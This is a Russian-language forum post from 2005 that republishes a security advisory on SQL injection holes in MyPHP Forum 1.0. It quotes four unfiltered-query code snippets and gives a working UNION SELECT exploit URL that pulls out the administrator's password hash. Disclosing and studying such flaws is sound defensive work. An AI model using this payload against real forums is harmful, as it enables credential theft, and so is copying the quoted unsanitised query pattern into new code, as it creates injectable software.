Статьи SQL injection in myPHP Forum

Discussion in 'Статьи' started by Rebz, 8 Feb 2005.

  1. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    /*==========================================*/
    // GHC -> MyPHP Forum <- ADVISORY
    // Продукт: MyPHP Forum
    // Версия: 1.0
    // URL: http://www.myphp.ws
    // Класс уязвимости: SQL инъекция
    /*==========================================*/

    [Описание]
    MyPHP Forum простой скрипт форума, написанный на PHP с использованием баз данных MySQL.
    Несколько уязвимостей типа SQL инъекции позволяют получить важную информацию и выполнить произвольный sql запрос.


    [1] уязвимый скрипт: forum.php


    код:
    --------------------------------------------------------------------------------

    $query = mysql_query("SELECT fid, name FROM $db_forum WHERE fid=$fid") or die(mysql_error());
    $nav = mysql_fetch_array($query);

    --------------------------------------------------------------------------------

    Переменная $fid не фильтруется. Вследствие этого возможна инъекции SQL кода в указанном сценарии.

    [2] уязвимый скрипт: member.php


    код:
    --------------------------------------------------------------------------------

    if($action == "viewpro") {
    $member = $HTTP_GET_VARS[member];
    $sql = "SELECT * FROM $db_member WHERE username=$member";
    $query = mysql_query("SELECT * FROM $db_member WHERE username=$member") or die("cant execute $sql");
    $member = mysql_fetch_array($query);

    --------------------------------------------------------------------------------

    Не фильтруется переменная $member. Возможна инъекция произвольного SQL кода.
    member.php?action=viewpro&member=[SQL code]

    [Пример эксплоита]
    member.php?action=viewpro&member=nonexistuser'%20UNION%20SELECT%20uid,%20username,%20password,%20status,%20email,%20website,%20aim,%20msn,%20location,%20sig,%20regdate,%20posts,%20password%20as%20yahoo%20FROM%20nb_member%20WHERE%20uid='1
    В результате данного запроса будет отображен хеш пароля администратора (в поле "Yahoo").

    Пароль шифруется функцией encrypt():

    код:
    --------------------------------------------------------------------------------

    function encrypt($string) {
    $crypted = crypt(md5($string), md5($string));
    return $crypted;
    }

    --------------------------------------------------------------------------------

    [3] уязвимый скрипт: forgot.php


    код:
    --------------------------------------------------------------------------------

    $email = $_REQUEST;
    if (isset($email)) {
    $sql="SELECT * FROM $db_member WHERE email=$email";
    ...
    $result = mysql_query("SELECT username FROM $db_member WHERE email=$email");
    $username = mysql_result($result, 0);
    $msg = "
    Hello $username,

    --------------------------------------------------------------------------------

    Не фильтруется переменная $email, через которую возможно внедрение произвольного SQL запроса.


    [4] уязвимый скрипт: include.php
    Этот скрипт включается для аутентификации во все важные сценарии.
    Переменные $nbuser & $nbpass не фильтруются.


    код:
    --------------------------------------------------------------------------------

    $query = mysql_query("SELECT * FROM $db_member WHERE username=$nbuser")

    --------------------------------------------------------------------------------

    Через перменную $nbuser возможна инъекция SQL запроса.

    P.S. все указанные уязвимости действительны при magic_quotes_gpc=0.
    P.P.S. некоторые скрипты myPHP v.2.0b так же подвержены уязвимостям.

    /* ================================================== */
    /* www.ghc.ru -- security games & challenges */
    /* ================================================== */
    /* greets to: RST.void.ru, D0G4 & all quest hunters %)*/
    /* ================================================== */

    Найдено ghc.ru by foster